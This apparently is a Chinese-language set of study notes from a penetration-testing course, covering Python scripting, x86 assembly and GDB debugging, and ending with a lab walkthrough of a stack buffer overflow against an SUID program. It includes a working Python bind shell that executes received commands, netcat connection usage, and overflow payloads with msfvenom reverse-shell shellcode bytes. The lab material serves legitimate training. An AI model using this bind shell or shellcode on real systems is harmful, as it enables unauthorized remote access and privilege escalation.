python脚本基础

不多赘述语法

在 Python 脚本的第一行添加shebang ( #!/usr/bin/env python3),可无需在在命令行开头输入python运行脚本

1
2
chmod +x welcome.py
./welcome.py

库管理

查看已安装库

1
python3 -m pip freeze

将复制上述freeze输出并将其保存为需求文件,即为requirements.txt

1
python3 -m pip install -r requirements.txt

click装饰器

使脚本更灵活,在运行脚本时接受输入参数(官方文档

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
import click

@click.command()
@click.option('--count', default=1, help='Number of greetings.')
@click.option('--name', prompt='Your name', help='The person to greet.')
def hello(count, name):
for i in range(count):
click.echo('Hello %s!' % name)

if __name__ == '__main__':
hello()

# python click_test.py --name Birb

bind shell

简单的bind shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
import subprocess
import click
from threading import Thread

def run_cmd(cmd):
output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
return output.stdout

def handle_input(client_socket):
while True:
chunks = []
chunk = client_socket.recv(2048)
chunks.append(chunk)
while len(chunk) != 0 and chr(chunk[-1]) != '\n':
chunk = client_socket.recv(2048)
chunks.append(chunk)
cmd = (b''.join(chunks)).decode()[:-1]

if cmd.lower() == 'exit':
client_socket.close()
break

output = run_cmd(cmd)
client_socket.sendall(output)

@click.command()
@click.option('--port', '-p', default=4444)
def main(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.listen(4)

while True:
client_socket, _ = s.accept()
t = Thread(target=handle_input, args=(client_socket, ))
t.start()

if __name__ == '__main__':
main()

用法

1
2
3
4
target:
python bindshell.py --port 4444
attacker:
nc 10.10.10.10 4444 -nv

1、库默认存储位置

Windows 10 PYTHON_INSTALL_DIR\Lib\site-packages

Linux /usr/lib/PYTHON_VERSION/dist-packages/

2、默认搜索路径:

1
2
>import sys
>sys.path

3、项目中建议使用虚拟环境管理库

1
2
>python3 -m venv [name]
>source [name]/bin/activate

x86 汇编基础

编译和调试

例子:helloWorld.s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
global _start

section .data
message db "Hello HTB Academy!"
length equ $-message ;代表message长度

section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, message
mov rdx, length
syscall

mov rax, 60
mov rdi, 0
syscall

汇编代码由标签、指令、操作数组成

编译

1
nasm -f elf64 helloWorld.s

-f elf64标志用于指示我们要汇编 64 位汇编代码。如果我们要汇编 32 位代码,则可以使用-f elf

链接

1
ld -o helloWorld helloWorld.o

如果我们要汇编 32 位二进制文件,则需要添加“ -m elf_i386”标志。

运行

1
./helloWorld

一键脚本,-g参数进入调试

1
2
3
4
5
6
7
#!/bin/bash

fileName="${1%%.*}" # remove .s extension

nasm -f elf64 ${fileName}".s"
ld ${fileName}".o" -o ${fileName}
[ "$2" == "-g" ] && gdb -q ${fileName} || ./${fileName}

反汇编

objdump工具,该工具会从文件中转储机器代码并解释每个十六进制代码的汇编指令。我们可以使用该-D标志反汇编二进制文件。

使用标志-M intel,这样就objdump可以用我们正在使用的英特尔语法编写指令

1
objdump -M intel -d helloWorld

如果我们只想显示汇编代码,而不显示机器代码或地址,我们可以添加--no-show-raw-insn --no-addresses标志

objdump已将第三条指令更改为movabs。这与mov相同,因此如果您需要重新组合代码,可以将其改回mov

标志-d只会反汇编.text这一部分。要转储任何字符串,我们可以使用该-s标志,并添加-j .data以仅检查该.data部分。

1
objdump -sj .data helloWorld

调试

安装

1
2
sudo apt-get update
sudo apt-get install gdb

gef插件

1
2
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

若wget失败,手动复制即可

1
gdb -q ./helloWorld

GDB使用

info

如果我们想了解任何命令在GDB中的运行方式,我们可以使用该help CMD命令来获取其文档。例如,我们可以尝试执行help info

使用info命令来检查二进制文件中定义了哪些functions

1
2
3
4
5
6
gef➤  info functions

All defined functions:

Non-debugging symbols:
0x0000000000401000 _start

找到了我们的主要_start功能

使用info variables命令查看程序内所有可用的变量

1
2
3
4
5
6
7
8
9
gef➤  info variables

All defined variables:

Non-debugging symbols:
0x0000000000402000 message
0x0000000000402012 __bss_start
0x0000000000402012 _edata
0x0000000000402018 _end

我们找到了message,以及定义内存段的一些其他默认变量

查看特定函数内的指令,我们可以使用disassembledisas命令以及函数名称

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  disas _start

Dump of assembler code for function _start:
0x0000000000401000 <+0>: mov eax,0x1
0x0000000000401005 <+5>: mov edi,0x1
0x000000000040100a <+10>: movabs rsi,0x402000
0x0000000000401014 <+20>: mov edx,0x12
0x0000000000401019 <+25>: syscall
0x000000000040101b <+27>: mov eax,0x3c
0x0000000000401020 <+32>: mov edi,0x0
0x0000000000401025 <+37>: syscall
End of assembler dump.

调试

大致分为四个功能,下断点,检查,步进,修改当前寄存器值

break

使用breakb命令以及要中断的地址或函数名称。例如,要跟踪程序运行的所有指令,让我们在_start函数处中断

1
2
3
gef➤  b _start

Breakpoint 1 at 0x401000

为了启动我们的程序,我们可以使用runr命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gef➤  b _start
Breakpoint 1 at 0x401000
gef➤ r
Starting program: ./helloWorld

Breakpoint 1, 0x0000000000401000 in _start ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffe310 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0
$rip : 0x0000000000401000 → <_start+0> mov eax, 0x1
...SNIP...
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe310│+0x0000: 0x0000000000000001 ← $rsp
0x00007fffffffe318│+0x0008: 0x00007fffffffe5a0 → "./helloWorld"
...SNIP...
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400ffa add BYTE PTR [rax], al
0x400ffc add BYTE PTR [rax], al
0x400ffe add BYTE PTR [rax], al
→ 0x401000 <_start+0> mov eax, 0x1
0x401005 <_start+5> mov edi, 0x1
0x40100a <_start+10> movabs rsi, 0x402000
0x401014 <_start+20> mov edx, 0x12
0x401019 <_start+25> syscall
0x40101b <_start+27> mov eax, 0x3c
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "helloWorld", stopped 0x401000 in _start (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401000 → _start()
────────────────────────────────────────────────────────────────────────────────────────────────────

如果我们想在某个地址设置断点,例如_start+10,我们可以这样b *_start+10b *0x40100a

程序运行后,如果我们设置另一个断点,例如b *0x401005,为了继续到该断点,我们应该使用continuec命令。如果我们再次使用runr,它将从头开始运行程序。这对于跳过循环很有用

使用info breakpoint命令。我们也可以disableenabledelete任何断点。此外,GDB 还支持设置条件断点,当满足特定条件时停止执行

Examine

手动检查任何地址或寄存器或检查任何其他地址或寄存器,我们可以使用x格式的命令x/FMT ADDRESS,正如help x所见。ADDRESS是我们要检查的地址或寄存器,而FMT是检查格式

FMT分为

Count 我们要重复检查的次数 2、3、10
Format 我们希望结果的表示格式 x(hex)s(string)i(instruction)
Size 我们要检查的内存大小 b(byte)h(halfword)w(word)g(giant, 8 bytes,64-bits)

:如果我们想检查接下来的四条指令,我们将必须检查寄存器$rip(它保存下一条指令的地址),4 for the count, i for the format, and g for the size (for 8-bytes or 64-bits)

1
2
3
4
5
6
gef➤  x/4ig $rip

=> 0x401000 <_start>: mov eax,0x1
0x401005 <_start+5>: mov edi,0x1
0x40100a <_start+10>: movabs rsi,0x402000
0x401014 <_start+20>: mov edx,0x12

:检查存储在特定内存地址的变量。我们知道我们的message变量存储在我们之前反汇编的.data地址部分0x402000,Count默认值为一无需指定,使用s格式以字符串格式

1
2
3
gef➤  x/s 0x402000

0x402000: "Hello HTB Academy!"

最常见的检查格式是十六进制x。我们经常需要检查包含十六进制数据的地址和寄存器,例如内存地址、指令或二进制数据

1
2
3
gef➤  x/wx 0x401000

0x401000 <_start>: 0x000001b8

小端存储

任何时候我们都可以使用registers命令打印出所有寄存器的当前值

1
2
3
4
5
6
7
8
9
10
gef➤  registers
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffe310 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0
$rip : 0x0000000000401000 → <_start+0> mov eax, 0x1

step

stepi或命令si将逐一执行汇编指令,这是调试时可能的最小步骤级别

我们可以si通过在命令后添加数字来重复该命令 si 3

steps命令将一直运行,直到退出当前函数

modify

要在 GDB 中修改值,我们可以使用set命令。但是,我们将使用GEF中的命令patch使此步骤更加容易

1
2
3
4
5
gef➤  help patch

Write specified values to the specified address.
Syntax: patch (qword|dword|word|byte) LOCATION VALUES
patch string LOCATION "double-escaped string"

我们必须提供新值的type/size、要存储的location以及我们要使用的value

1
2
3
4
5
6
7
8
9
10
gef➤  break *0x401019

Breakpoint 1 at 0x401019
gef➤ r
gef➤ patch string 0x402000 "Patched!\\x0a"
gef➤ c

Continuing.
Patched!
Academy!
1
2
3
4
5
6
7
8
9
10
gef➤  break *0x401019

Breakpoint 1 at 0x401019
gef➤ r
gef➤ patch string 0x402000 "Patched!\\x0a"
gef➤ set $rdx=0x9
gef➤ c

Continuing.
Patched!

语法

只记些课上没学过的

数据移动

lea:加载指向值的地址 lea rax, [rsp+5]->rax = rsp+5

mov rax, rsplea rax, [rsp]都会执行相同的操作,但是,如果我们想加载一个带有偏移量的指针(即,距离变量或地址几个地址),我们应该使用lea,如lea rax, [rsp+10]

xchg:在两个寄存器或地址之间交换数据 xchg rax, rbx->rax = rbx, rbx = rax

在汇编中,移动数据不会影响源操作数。因此,我们可以将其视为mov一个copy函数,而不是实际的移动。

利用更短的寄存器更加高效

1
2
3
4
5
nasm -f elf64 fib.s && objdump -M intel -d fib.o
0000000000000000 <_start>:
0: b8 00 00 00 00 mov eax,0x0
5: bb 01 00 00 00 mov ebx,0x1
a: b3 01 mov bl,0x1

示例

简单无保护栈溢出,环境在HTBA

1
2
3
4
5
6
7
8
9
10
11
We were able to gain SSH access to a Linux machine whose password was reused by another machine during our penetration test.
我们能够获得对一台Linux机器的SSH访问,在我们的渗透测试期间,另一台机器重用了该机器的密码。

On this machine, we have a standard user "htb-student" who can leave a message to the administrator using a self-written program called "leave_msg." Since the target company pays a lot of attention to defense from outside their network, and the administrator's appearance showed high self-confidence, it may indicate that local security was disregarded.
在这台机器上,我们有一个标准用户“htb-student”,他可以使用一个名为“leave_msg”的自编程序向管理员留言。“由于目标公司非常注重网络外部的防御,而且管理员的表现出高度的自信,这可能表明他们忽视了本地安全。

After our research, we found out that these messages are stored in "/htb-student/msg.txt," which is binary owned by the user root, and the SUID bit is set.
经过我们的研究,我们发现这些消息存储在“/htb-student/msg.txt”中,这是用户root拥有的二进制文件,并且设置了SUID位。

Examine the program and find out if it is vulnerable to a Stack-Based Buffer Overflow. If you have found the vulnerability, then use it to read the file "/root/flag.txt" placed on the system as proof.
检查程序并找出它是否容易受到基于堆栈的缓冲区溢出的攻击。如果您发现了漏洞,请使用它来读取放置在系统上的文件“/root/flag.txt”作为证据。

查看程序类型及功能

3bcda70bd811270dde99815a8197b57d

ff6c1b3f403621f56e6ac466085ac2c0

用gdb调试,测出偏移在200~2100之间,EIP被覆盖为0x55555555

c20d422039b8941a9479921e188d35c9

使用脚本生成并检测出精准偏移量

b9aa319b1ef79102b301fbac590d5607

1
run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9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Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9'")

3ec890a68d2c448d4a1db42e479ed35a3940fca0e1a8994b15dc6b1697d53110

测试,eip被覆盖为0x66666666

8d10fb7567f56cc4695ee6889e500027

测试坏字符,在leavemsg下断点

866b373e793e96ec2835b410f1cda64b

1
run $(python -c 'print "\x55" * (2060 - 256) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

7b0af168e2539b7e189dff45aa09008a

得到坏字符0x00 0x09 0x0a 0x20,利用msfvenom生成反弹shellcode

01335b1c39488230c1a58bc321c47eca

写入shellcode,调试确定shellcode位置

1
run $(python -c 'print "\x55' * (2060 - 95 - 100) + "\x77"*100 + "\xd9\xcb\xb8\x5f\xb1\x6a\x02\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x12\x31\x43\x17\x83\xeb\xfc\x03\x1c\xa2\x88\xf7\x93\x1f\xbb\x1b\x80\xdc\x17\xb6\x24\x6a\x76\xf6\x4e\xa1\xf9\x64\xd7\x89\xc5\x47\x67\xa0\x40\xa1\x0f\x4c\xb3\x51\xce\xda\xb1\x51\xaa\x73\x3f\xb0\xfa\xe2\x6f\x62\xa9\x59\x8c\x0d\xac\x53\x13\x5f\x46\x02\x3b\x13\xfe\xb2\x6c\xfc\x9c\x2b\xfa\xe1\x32\xff\x75\x04\x02\xf4\x48\x47" + "\x66" * 4')

375d2b79d2721576db35d030d99f9d5d

利用点前用空指令NOP(0x90)填充,运行程序收到反弹shell

702811fb35087d168f816a3d217e0830